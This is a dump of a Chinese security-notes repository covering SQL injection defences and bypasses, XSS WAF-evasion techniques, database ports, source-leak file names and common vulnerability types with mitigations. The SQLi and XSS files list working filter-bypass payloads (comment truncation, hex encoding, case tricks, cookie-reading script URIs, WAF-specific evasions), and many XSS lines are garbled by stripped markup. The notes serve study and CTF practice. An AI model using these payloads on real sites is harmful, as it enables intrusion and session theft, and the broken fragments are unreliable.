├── README.md ├── SQL注入防御与绕过的几种姿势 ├── XSS现代WAF规则探测及绕过技术 ├── 三大数据库端口号 ├── 常见源码泄露方式 ├── 常见漏洞类型汇总 └── 文件头文件尾总结 /README.md: -------------------------------------------------------------------------------- 1 | # Security-Notes 2 | 一些信息安全笔记整理 3 | 4 | ## Web安全 5 | ### 1. SQL注入 6 | + [SQLi-Labs](https://github.com/Audi-1/sqli-labs) 7 | + [MYSQL注入天书](http://www.cnblogs.com/lcamry/category/846064.html) 8 | + [SQL注入防御与绕过的几种姿势](https://www.anquanke.com/post/id/86005) 9 | + [CTF比赛中SQL注入的一些经验总结](https://www.freebuf.com/articles/web/137094.html) 10 | + [SQL注入之SQLmap入门](https://www.freebuf.com/articles/web/29942.html) 11 | 12 | ### 2.XSS 13 | + [WAF的XSS绕过姿势](https://www.freebuf.com/articles/web/81959.html) 14 | + [XSS平台](xsspt.com) 15 | 16 | ### 3.CSRF 17 | + [emmm好像没有] 18 | 19 | ### 4.SSRF 20 | + [emmm好像也没有] 21 | 22 | ### 5.代码审计 23 | + [ctf中的php代码审计技巧](http://www.am0s.com/ctf/200.html) 24 | + [PHP网站渗透中的奇技淫巧:检查相等时的漏洞](https://www.freebuf.com/articles/web/129607.html) 25 | 26 | ## 软件安全 27 | + [一步一步学ROP(ROP_STEP_BY_STEP)](https://github.com/zhengmin1989/ROP_STEP_BY_STEP) 28 | + 挖坑 29 | ## CTF相关 30 | ### CTF 31 | + [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/) 32 | 33 | ### AWD 34 | + [CTF线下AWD攻防模式的准备工作及起手式](https://blog.csdn.net/like98k/article/details/80261603) 35 | + [CTF线下防御战 — 让你的靶机变成“铜墙铁壁”](https://www.anquanke.com/post/id/86984) 36 | + [CTF线下赛AWD套路小结](https://xz.aliyun.com/t/25) 37 | + [CTF线下赛AWD模式下的生存技巧](https://www.anquanke.com/post/id/84675) 38 | 39 | ### CTF解题平台 40 | + [南京邮电大学网络攻防训练平台](http://ctf.nuptzj.cn/) 41 | + [Jarvis OJ](https://www.jarvisoj.com/) 42 | + [BugkuCTF](https://ctf.bugku.com/) 43 | + [Bugku新平台](https://new.bugku.com/) 44 | + [PwnHub](https://pwnhub.cn/index) 45 | 46 | ## 信安论坛 47 | + [吾爱破解](https://www.52pojie.cn/) 48 | + [看雪](https://bbs.pediy.com/) 49 | 50 | ## 学习平台 51 | + [i春秋](https://www.ichunqiu.com/) 52 | + [实验吧](http://www.shiyanbar.com/) 53 | + [合天实验室](http://www.hetianlab.com/) 54 | 55 | ## 媒体平台 56 | + [FreeBuf](https://www.freebuf.com/) 57 | + [安全客](https://www.anquanke.com/) 58 | + [安全牛](https://www.aqniu.com/) 59 | 60 | ## 公众号 61 | + 黑白之道 62 | + 信安之路 63 | + 浅黑科技 64 | + CTFer的魔法棒 65 | + 各大SRC 66 | + 各大门户网站 67 | 68 | ## 书籍 69 | + 《白帽子讲Web安全》 70 | + 《SQL注入攻击与防御(第2版)》 71 | + 《XSS跨站脚本攻击剖析与防御》 72 | + 《Web前端黑客技术揭秘》 73 | + 《Web安全深度剖析》 74 | + 《黑客秘笈:渗透测试实用指南(第2版)》 75 | + 《黑客攻防技术宝典:Web实战篇(第2版)》 76 | + 《深入浅出密码学》 77 | + 《metasploit魔鬼训练营》 78 | + 《CTF特训营》 79 | -------------------------------------------------------------------------------- /SQL注入防御与绕过的几种姿势: -------------------------------------------------------------------------------- 1 | 前言 2 | 本文章主要以后端PHP和MySQL数据库为例,参考了多篇文章后的集合性文章,欢迎大家提出个人见解,互促成长。 3 | SQL注入 4 | 一、 PHP几种防御姿势 5 | 1. 关闭错误提示 6 | 说明: 7 | PHP配置文件php.ini中的display_errors=Off,这样就关闭了错误提示。 8 | 2. 魔术引号 9 | 说明: 10 | 当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)会自动转为含有反斜线的转义字符。 11 | 魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。(对所有的 GET、POST 和 COOKIE 数据自动运行转义) 12 | PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on。 13 | 本特性已自PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除,在PHP 5.4.O 起将始终返回 FALSE。 14 | 参考: 15 | 《magic_quotes_gpc相关说明》: 16 | http://www.cnblogs.com/qiantuwuliang/archive/2009/11/12/1601974.html 17 | 3. addslashes 18 | 说明: 19 | addslashes函数,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。 20 | 这个函数的作用和magic_quotes_gpc一样。所以一般用addslashes前会检查是否开了magic_quotes_gpc。 21 | http://p9.qhimg.com/t01b9cc5ebd329c3951.png 22 | magic_quotes_gpc与addslashes的区别用法: 23 | 1)对于magic_quotes_gpc=on的情况 24 | 我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 25 | 如果此时你对输入的数据作了addslashes()处理,那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。 26 | 2)对于magic_quotes_gpc=off 的情况 27 | 必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出, 28 | 因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。 29 | 参考: 30 | 《addslashes函数说明》: 31 | https://secure.php.net/manual/zh/function.addslashes.php 32 | 《对于magic_quotes_gpc的一点认识》: 33 | http://www.phpfans.net/bbs/viewthread.php?tid=6860&page=1&extra=page=1 34 | 4. mysql_real_escape_string 35 | 说明: 36 | mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。 37 | 下列字符受影响: 38 | \x00 39 | \n 40 | \r 41 | \ 42 | ' 43 | " 44 | \x1a 45 | 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。 46 | 本扩展自 PHP5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。 47 | 因为完全性问题,建议使用拥有Prepared Statement机制的PDO和MYSQLi来代替mysql_query,使用的是mysqli_real_escape_string 48 | 参考: 49 | 《 PHP防SQL注入不要再用addslashes和mysql_real_escape_string了》: 50 | http://blog.csdn.net/hornedreaper1988/article/details/43520257 51 | 《PDO防注入原理分析以及使用PDO的注意事项》: 52 | http://zhangxugg-163-com.iteye.com/blog/1835721 53 | 5. htmlspecialchars() 54 | 说明: 55 | htmlspecialchars()函数把预定义的字符转换为 HTML实体。 56 | 预定义的字符是: 57 | & (和号)成为 & 58 | " (双引号)成为 " 59 | ' (单引号)成为 ' 60 | < (小于)成为 < 61 | > (大于)成为 > 62 | 6. 用正则匹配替换来过滤指定的字符 63 | preg_match 64 | preg_match_all() 65 | preg_replace 66 | 参考: 67 | 《preg_match说明》: 68 | http://php.net/manual/zh/function.preg-match.php 69 | 《preg_replace说明》: 70 | https://secure.php.net/manual/zh/function.preg-replace.php 71 | 7. 转换数据类型 72 | 说明: 73 | 根据「检查数据类型」的原则,查询之前要将输入数据转换为相应类型,如uid都应该经过intval函数格式为int型。 74 | 8. 使用预编译语句 75 | 说明: 76 | 绑定变量使用预编译语句是预防SQL注入的最佳方式,因为使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,攻击者无法改变SQL语句的结构,从根本上杜绝了SQL注入攻击的发生。 77 | 代码示例: 78 | http://p6.qhimg.com/t011554d1448b3f5840.png 79 | 参考: 80 | 《Web安全之SQL注入攻击技巧与防范》: 81 | http://www.plhwin.com/2014/06/13/web-security-sql/ 82 | 二、 几种绕过姿势 83 | 下面列举几个防御与绕过的例子: 84 | 例子1:addslashes 85 | 防御: 86 | http://p5.qhimg.com/t01bd6f0a9c2f97bc13.png 87 | 这里用了addslashes转义。 88 | 绕过: 89 | 将字符串转为16进制编码数据或使用char函数(十进制)进行转化(因为数据库会自动把16进制转化) 90 | 用注释符去掉输入密码部分如“-- /* #” 91 | payload: 92 | http://localhost/injection/user.php?username=admin-- hack 93 | (因为有的SQL要求--后要有空格,所以此处加上了hack) 94 | http://localhost/injection/user.php?username=admin/* 95 | (escape不转义/*) 96 | http://localhost/injection/user.php?username=admin%23 97 | (这里的%23即为#,注释掉后面的密码部分。注意IE浏览器会将#转换为空) 98 | http://localhost/injection/user.php?username=0x61646d696e23 99 | (admin# -->0x61646d696e23) 100 | http://localhost/injection/user.php?username=CHAR(97,100, 109, 105, 110, 35) 101 | (admin# -->CHAR(97, 100, 109, 105, 110, 35)) 102 | 关于编码原理: 103 | 因为一般前端JavaScript都会escape()、encodeURL或encodeURIComponent编码再传输给服务器,主要为encodeURL,如下,所以可以利用这点。 104 | JavaScript代码如: 105 | JavaScript代码 106 | 拦截请求: 107 | http://p4.qhimg.com/t018cafe605b0f54abb.png 108 | 1)escape( ) 109 | 对ASCII字母、数字、标点符号"@* _ + - . /"不进行编码。在\u0000到\u00ff之间的符号被转成%xx的形式,其余符号被转成%uxxxx的形式。(注意escape()不对"+"编码,而平时表单中的空格会变成+) 110 | 2) encodeURL 111 | 对" ; / ? : @ & = + $ , # ' "不进行编码。编码后,它输出符号的utf-8形式,并且在每个字节前加上%。 112 | 3) encodeURIComponent 113 | 用于对URL的组成部分进行个别编码,而不用于对整个URL进行编码。 114 | 常用编码: 115 | @ * _ + - ./ ; \ ? : @ & = + $ , # ' 空格 116 | 转码工具可用: 117 | http://evilcos.me/lab/xssor/ 118 | 参考: 119 | 《URL编码》: 120 | http://www.ruanyifeng.com/blog/2010/02/url_encoding.html 121 | 例子2:匹配过滤 122 | 防御: 123 | http://p1.qhimg.com/t011ef7d8ad83689108.png 124 | 绕过: 125 | 关键词and,or常被用做简单测试网站是否容易进行注入攻击。这里给出简单的绕过使用&&,||分别替换and,or。 126 | 过滤注入: 1 or 1 = 1 1 and 1 = 1 127 | 绕过注入: 1 || 1 = 1 1 && 1 = 1 128 | 关于preg_match过滤可以看参考文章,文章里讲得很详细了。 129 | 参考: 130 | 《高级SQL注入:混淆和绕过》: 131 | http://www.cnblogs.com/croot/p/3450262.html 132 | 例子3:strstr 133 | 防御: 134 | http://p3.qhimg.com/t01e38d15cd0ba68f9d.png 135 | strstr ()查找字符串的首次出现,该函数区分大小写。如果想要不区分大小写,使用stristr()。(注意后面这个函数多了个i) 136 | 绕过: 137 | strstr()函数是对大小写敏感的,所以我们可以通过大小写变种来绕过 138 | payload: 139 | http://localhost/injection/user.php?id=1uNion select null,null,null 140 | 例子4:空格过滤 141 | 防御: 142 | http://p7.qhimg.com/t0197f1f3f7332c497a.png 143 | 绕过: 144 | 1)使用内联注释。 145 | 2)使用换行符代替空格。注意服务器若为Windows则换行符为%0A%0D,Linux则为%0A。 146 | http://localhost/injection/user.php?id=1/**/and/**/11=1 147 | http://localhost/injection/user.php?id=1%0A%0Dand%0A%0D1=1 148 | 例子5:空字节 149 | 通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS),这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生变成语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。 150 | 绕过: 151 | 只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可。 152 | payload: 153 | http://p3.qhimg.com/t010b93647c17389bbf.png 154 | 例子6:构造故意过滤 155 | 防御: 156 | http://p9.qhimg.com/t01bb2f5ae28aa52562.png 157 | 绕过: 158 | 文件的63行开始可以看到,此处将传入的%27和%2527都进行删除处理,也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*,这样我们就有办法了,我们构造%*27,这样程序吃掉星号*后,%27就会被传入。 159 | payload: 160 | http://localhost/injection/user.php?id%3D1%*27%*20and%*20%*271%*27%3D%*271 161 | (id=1' and '1'='1-->id%3D1%*27%*20and%*20%*271%*27%3D%*271) 162 | 参考: 163 | 《phpcms_v9.6.0_sql注入与exp》: 164 | https://zhuanlan.zhihu.com/p/26263513 165 | -------------------------------------------------------------------------------- /XSS现代WAF规则探测及绕过技术: -------------------------------------------------------------------------------- 1 | 初始测试 2 | 1、使用无害的payload,类似,,观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等; 3 | 2、如果过滤闭合标签,尝试无闭合标签的payload(alert(1); 6 | 7 | 8 | 11 | 1、如果大小写不行的话, // Works With All Browsers 89 | ( is html encoded to ( 90 | ) is html encoded to ) 91 | Opera的变量 92 | 标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt() 128 | confirm() ,例如: 129 | “;alert(1)// 130 | 非常规事件监听 131 | DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如: 132 | ";document.body.addEventListener("DOMActivate",alert(1))// 133 | ";document.body.addEventListener("DOMActivate",prompt(1))// 134 | ";document.body.addEventListener("DOMActivate",confirm(1))// 135 | 此类事件的列表 136 | DOMAttrModified 137 | DOMCharacterDataModified 138 | DOMFocusIn 139 | DOMFocusOut 140 | DOMMouseScroll 141 | DOMNodeInserted 142 | DOMNodeInsertedIntoDocument 143 | DOMNodeRemoved 144 | DOMNodeRemovedFromDocument 145 | DOMSubtreeModified 146 | 超文本内容 147 | 代码中的情况如下 148 | Click 150 | 可以使用javascript:alert(1)//直接执行Click 152 | 变形 153 | 主要包含大小写和 154 | JavaScript变形 155 | javascript:alert(1) 156 | javaSCRIPT:alert(1) 157 | JaVaScRipT:alert(1) 158 | javas cript:\u0061lert(1); 159 | javascript:\u0061lert(1) 160 | javascript:alert(document.cookie) // AsharJaved 161 | IE10以下和URI中可以使用VBScript 162 | vbscript:alert(1); 163 | vbscript:alert(1); 164 | vbscr ipt:alert(1)" 165 | Data URl 166 | data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 167 | JSON内容 168 | 反射输入 169 | encodeURIComponent('userinput') 170 | 可以使用 171 | -alert(1)- 172 | -prompt(1)- 173 | -confirm(1)- 174 | 结果 175 | encodeURIComponent(''-alert(1)-'') 176 | encodeURIComponent(''-prompt(1)-'') 177 | 输入反射在svg标签内 178 | 源码如下: 179 | 180 | 可以输入 181 | www.site.com/test.php?var=text”;alert(1)// 182 | 如果系统编码了”字符 183 | 184 | 原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理 185 | 186 | 浏览器BUG 187 | 字符集BUG 188 | 字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。 189 | 示例 190 | http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS 191 | 可以控制编码,提交 192 | http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”> 194 | 可以修改为UTF-32编码形式 195 | ∀㸀㰀script㸀alert(1)㰀/script㸀 196 | http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 197 | 空字节 198 | 最长用来绕过mod_security防火墙,形式如下: 199 | alert(1); 200 | alert(1); 201 | confirm(0); 202 | 空字节只适用于PHP 5.3.8以上的版本 203 | 语法BUG 204 | RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行 205 | 206 | <%0ascript>alert(1); 207 | <%0bscript>alert(1); 208 | <%, // Works upto IE7 210 | 参考http://html5sec.org/#71 211 | // Works upto IE9 212 | 参考http://html5sec.org/#115 213 | // Works in IE7 214 | 参考 http://html5sec.org/#77 215 | <%div%20style=xss:expression(prompt(1))> // Works Upto IE7 216 | Unicode分隔符 217 | [on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下: 218 | IExplorer= [0x09,0x0B,0x0C,0x20,0x3B] 219 | Chrome = [0x09,0x20,0x28,0x2C,0x3B] 220 | Safari = [0x2C,0x3B] 221 | FireFox= [0x09,0x20,0x28,0x2C,0x3B] 222 | Opera = [0x09,0x20,0x2C,0x3B] 223 | Android = [0x09,0x20,0x28,0x2C,0x3B] 224 | x0b在Mod_security中已经被过滤,绕过的方法: 225 | rhainfosec 226 | 缺少X-frame选项 227 | 通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞 228 | Docmodes 229 | IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式 230 | expression(open(alert(1))) 231 | 以下POC可以插入到IE7中 232 | 233 | 234 | 235 | 236 | 237 | 238 | Window.name欺骗 239 | 情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码 240 | POC 241 | 243 | DOM型XSS 244 | 服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子: 245 | 249 | 在一些情况下,反射型XSS可以转换成DOM型XSS: 250 | http://www.target.com/xss.php?foo=confirm(0); 260 | rhainfosec 261 | 参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html 262 | WEB KNIGHT绕过 263 | 264 | 265 | F5 BIG IP ASM and Palo ALTO绕过 266 |
//IE6或者低版本Opera 267 | “/>a 268 | Dot Defender绕过 269 | 270 | 271 | 272 | 273 | 结论 274 | 黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下: 275 | 1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差; 276 | 2、要保持WAF的规则库更新; 277 | 3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警; 278 | 4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。 279 | -------------------------------------------------------------------------------- /三大数据库端口号: -------------------------------------------------------------------------------- 1 | sqlserver默认端口号为:1433 2 | MySQL 默认端口号为:3306 3 | Oracle 默认端口号为:1521 4 | 5 | ================================================================= 6 | 7 | sqlserver默认端口号为:1433 8 | 9 | URL:"jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=dbname" 10 | 11 | DRIVERNAME:"com.microsoft.jdbc.sqlserver.SQLServerDriver"; 12 | 13 | 14 | MySQL 默认端口号为:3306 15 | 16 | URL:jdbc:mysql://localhost:3306/test?user=root&password=&useUnicode=true&characterEncoding=gbk 17 | 18 | DRIVERNAME:"com.mysql.jdbc.Driver"; 19 | 20 | 21 | Oracle 默认端口号为:1521 22 | 23 | URL:"jdbc:oracle:thin:@localhost :1521:orcl"; 24 | 25 | DRIVERNAME:"oracle.jdbc.driver.OracleDriver"; 26 | -------------------------------------------------------------------------------- /常见源码泄露方式: -------------------------------------------------------------------------------- 1 | 常见源码泄露方式 2 | - 编辑器:filename.php~ .filename.php.swp filename.swp 3 | - 管理员:filename.php.bak filename.bak wwwroot|www.zip|rar|tar 4 | - 版本控制:.git .svn 5 | -------------------------------------------------------------------------------- /常见漏洞类型汇总: -------------------------------------------------------------------------------- 1 | 一、SQL注入漏洞 2 | 3 | 4 | 5 | SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 6 | 7 | 8 | 9 | 通常情况下,SQL注入的位置包括: 10 | 11 | 12 | 13 | (1)表单提交,主要是POST请求,也包括GET请求; 14 | 15 | 16 | 17 | (2)URL参数提交,主要为GET请求参数; 18 | 19 | 20 | 21 | (3)Cookie参数提交; 22 | 23 | 24 | 25 | (4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等; 26 | 27 | 28 | 29 | (5)一些边缘的输入点,比如.mp3文件的一些文件信息等。 30 | 31 | 32 | 33 | SQL注入的危害不仅体现在数据库层面上,还有可能危及承载数据库的操作系统;如果SQL注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于: 34 | 35 | 36 | 37 | (1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息,SQL注入攻击能导致这些隐私信息透明于攻击者。 38 | 39 | 40 | 41 | (2)网页篡改:通过操作数据库对特定网页进行篡改。 42 | 43 | 44 | 45 | (3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。 46 | 47 | 48 | 49 | (4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。 50 | 51 | 52 | 53 | (5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 54 | 55 | 56 | 57 | (6)破坏硬盘数据,瘫痪全系统。 58 | 59 | 60 | 61 | 解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。 通常使用的方案有: 62 | 63 | 64 | 65 | (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。 66 | 67 | 68 | 69 | (2)对进入数据库的特殊字符('"\<>&*;等)进行转义处理,或编码转换。 70 | 71 | 72 | 73 | (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。 74 | 75 | 76 | 77 | (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。 78 | 79 | 80 | 81 | (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。 82 | 83 | 84 | 85 | (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。 86 | 87 | 88 | 89 | (7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。 90 | 91 | 92 | 93 | (8)在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。 94 | 95 | 96 | 97 | 二、跨站脚本漏洞 98 | 99 | 100 | 101 | 跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。 102 | 103 | 104 | 105 | XSS攻击使用到的技术主要为HTML和Javascript,也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。 106 | 107 | 108 | 109 | XSS类型包括: 110 | 111 | 112 | 113 | (1)非持久型跨站:即反射型跨站脚本漏洞,是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。 114 | 115 | 116 | 117 | (2)持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的Javascript代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript代码。 118 | 119 | 120 | 121 | (3)DOM跨站(DOM XSS):是一种发生在客户端DOM(Document Object Model文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。 122 | 123 | 124 | 125 | XSS的危害包括: 126 | 127 | 128 | 129 | (1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼攻击方式。 130 | 131 | 132 | 133 | (2)网站挂马:跨站时利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。 134 | 135 | 136 | 137 | (3)身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取到用户的Cookie,从而利用该Cookie盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie被窃取,将会对网站引发巨大的危害。 138 | 139 | 140 | 141 | (4)盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。 142 | 143 | 144 | 145 | (5)垃圾信息发送:比如在SNS社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。 146 | 147 | 148 | 149 | (6)劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,监视用户的浏览历史,发送与接收的数据等等。 150 | 151 | 152 | 153 | (7)XSS蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。 154 | 155 | 156 | 157 | 常用的防止XSS技术包括: 158 | 159 | 160 | 161 | (1)与SQL注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。 162 | 163 | 164 | 165 | (2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。 166 | 167 | 168 | 169 | (3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。 170 | 171 | 172 | 173 | (4)对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。 174 | 175 | 176 | 177 | (5)在发布应用程序之前测试所有已知的威胁。 178 | 179 | 180 | 181 | 三、弱口令漏洞 182 | 183 | 184 | 185 | 弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则: 186 | 187 | 188 | 189 | (1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。 190 | 191 | 192 | 193 | (2)口令长度不小于8个字符。 194 | 195 | 196 | 197 | (3)口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:tzf.tzf.)。 198 | 199 | 200 | 201 | (4)口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。 202 | 203 | 204 | 205 | (5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail地址等等与本人有关的信息,以及字典中的单词。 206 | 207 | 208 | 209 | (6)口令不应该为用数字或符号代替某些字母的单词。 210 | 211 | 212 | 213 | (7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。 214 | 215 | 216 | 217 | (8)至少90天内更换一次口令,防止未被发现的入侵者继续使用该口令。 218 | 219 | 220 | 221 | 四、HTTP报头追踪漏洞 222 | 223 | 224 | 225 | HTTP/1.1(RFC2616)规范定义了HTTP TRACE方法,主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时,提交的请求头会在服务器响应的内容(Body)中完整的返回,其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE请求可以通过客户浏览器脚本发起(如XMLHttpRequest),并可以通过DOM接口来访问,因此很容易被攻击者利用。 226 | 227 | 228 | 229 | 防御HTTP报头追踪漏洞的方法通常禁用HTTP TRACE方法。 230 | 231 | 232 | 233 | 五、Struts2远程命令执行漏洞 234 | 235 | 236 | 237 | Apache Struts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误,如果遇到转换错误可被利用注入和执行任意Java代码。 238 | 239 | 240 | 241 | 网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork作为网站应用框架,由于该软件存在远程代码执高危漏洞,导致网站面临安全风险。CNVD处置过诸多此类漏洞,例如:“GPS车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934);Aspcms留言本远程代码执行漏洞(CNVD-2012-11590)等。 242 | 243 | 244 | 245 | 修复此类漏洞,只需到Apache官网升级Apache Struts到最新版本:http://struts.apache.org 246 | 247 | 248 | 249 | 六、框架钓鱼漏洞(框架注入漏洞) 250 | 251 | 252 | 253 | 框架注入攻击是针对Internet Explorer 5、Internet Explorer 6、与 Internet Explorer 7攻击的一种。这种攻击导致Internet Explorer不检查结果框架的目的网站,因而允许任意代码像Javascript或者VBScript跨框架存取。这种攻击也发生在代码透过多框架注入,肇因于脚本并不确认来自多框架的输入。这种其他形式的框架注入会影响所有的不确认不受信任输入的各厂商浏览器和脚本。 254 | 255 | 256 | 257 | 如果应用程序不要求不同的框架互相通信,就可以通过完全删除框架名称、使用匿名框架防止框架注入。但是,因为应用程序通常都要求框架之间相互通信,因此这种方法并不可行。 因此,通常使用命名框架,但在每个会话中使用不同的框架,并且使用无法预测的名称。一种可行的方法是在每个基本的框架名称后附加用户的会话令牌,如main_display。 258 | 259 | 260 | 261 | 七、文件上传漏洞 262 | 263 | 264 | 265 | 文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。 266 | 267 | 268 | 269 | 因此,在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell攻击。 270 | 271 | 272 | 273 | 八、应用程序测试脚本泄露 274 | 275 | 由于测试脚本对提交的参数数据缺少充分过滤,远程攻击者可以利用洞以WEB进程权限在系统上查看任意文件内容。防御此类漏洞通常需严格过滤提交的数据,有效检测攻击。 276 | 277 | 278 | 279 | 